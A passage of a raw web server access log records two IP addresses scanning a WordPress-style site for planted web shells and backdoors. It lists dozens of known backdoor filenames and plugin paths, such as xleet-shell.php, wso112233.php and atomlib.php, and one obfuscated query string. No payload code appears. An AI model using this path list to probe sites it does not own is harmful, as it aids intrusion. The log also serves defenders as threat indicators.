HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:10 +0530] "GET /xleet-shell.php HTTP/1.1" 302 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:11 +0530] "GET /wp-admin/xleet-shell.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:44:11 +0530] "GET /Mshell.php HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:12 +0530] "GET /wp-content/xleet-shell.php HTTP/1.1" 302 246 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:13 +0530] "GET /wp-includes/xleet-shell.php HTTP/1.1" 302 247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:14 +0530] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 302 281 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:15 +0530] "GET /wso112233.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:16 +0530] "GET /wp-admin/wso112233.php HTTP/1.1" 302 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:17 +0530] "GET /wp-content/wso112233.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:18 +0530] "GET /wp-includes/wso112233.php HTTP/1.1" 302 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:19 +0530] "GET /shell20211028.php HTTP/1.1" 302 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:20 +0530] "GET /wp-admin/shell20211028.php HTTP/1.1" 302 246 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:21 +0530] "GET /wp-content/shell20211028.php HTTP/1.1" 302 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:22 +0530] "GET /wp-includes/shell20211028.php HTTP/1.1" 302 249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:23 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:24 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:25 +0530] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 302 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:26 +0530] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:27 +0530] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 302 263 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:28 +0530] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 302 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:29 +0530] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 302 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:30 +0530] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 302 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:32 +0530] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 302 268 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:33 +0530] "GET /lufix.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:35 +0530] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 302 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:36 +0530] "GET /wp-confiig.php HTTP/1.1" 302 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:37 +0530] "GET /wp_wrong_datlib.php HTTP/1.1" 302 239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:38 +0530] "GET /repeater.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:40 +0530] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 302 256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:41 +0530] "GET /2index.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:42 +0530] "GET /beence.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:43 +0530] "GET /wp-content/updates.php HTTP/1.1" 302 242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:44 +0530] "GET /loger.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:46 +0530] "GET /up.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:47 +0530] "GET /vendor/htmlawed/htmlawed/gel4y.php HTTP/1.1" 302 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:48 +0530] "GET /css.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:49 +0530] "GET /data.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:44:49 +0530] "GET /chosen.php?p= HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:50 +0530] "GET /mini.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:51 +0530] "GET /shell.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:52 +0530] "GET /edit.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:54 +0530] "GET /wp-blog.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:55 +0530] "GET /gank.php.PhP HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:56 +0530] "GET /mt/pekok.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:58 +0530] "GET /ups.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:44:59 +0530] "GET /wikindex.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:00 +0530] "GET /wp.php?Chitoge HTTP/1.1" 302 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:01 +0530] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 302 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:03 +0530] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 302 252 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:04 +0530] "GET /doc.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:05 +0530] "GET /sym403.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:06 +0530] "GET /style.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:07 +0530] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 302 261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:08 +0530] "GET /wp-conflg.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:09 +0530] "GET /database.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:45:10 +0530] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:11 +0530] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 302 249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:12 +0530] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 302 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:13 +0530] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 302 275 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:14 +0530] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 302 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:15 +0530] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 302 280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:16 +0530] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 302 280 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:17 +0530] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 302 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:18 +0530] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 302 256 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:19 +0530] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 302 258 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:45:20 +0530] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 302 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:46:02 +0530] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:46:07 +0530] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 302 256 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:46:23 +0530] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 302 252 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:46:32 +0530] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 302 258 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:46:53 +0530] "GET /504.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:47:09 +0530] "GET /heh.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:48:19 +0530] "GET /504.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:48:43 +0530] "GET /chosen.php?p= HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:48:50 +0530] "GET /Mshell.php HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:49:06 +0530] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:25 +0530] "GET /heh.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:27 +0530] "GET /NewFile.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:29 +0530] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:31 +0530] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:34 +0530] "GET /baxa1.php7 HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:36 +0530] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:38 +0530] "GET /baxa1.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:49:41 +0530] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:50:29 +0530] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:50:52 +0530] "GET /Mshell.php HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:51:03 +0530] "GET /chosen.php?p= HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:51:20 +0530] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:52:25 +0530] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:52:42 +0530] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 302 256 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:52:56 +0530] "GET /go.php HTTP/1.1" 302 226 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:52:57 +0530] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 302 252 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:52:57 +0530] "GET /wp-content/themes/too.php HTTP/1.1" 302 245 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:52:58 +0530] "GET /wp-includes/assets/winnner.php HTTP/1.1" 302 250 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:53:13 +0530] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 302 258 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:54:03 +0530] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:54:09 +0530] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 302 256 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:54:19 +0530] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 302 252 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.171.102.6 - - [19/Jan/2025:19:54:20 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:19:54:26 +0530] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 302 258 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) 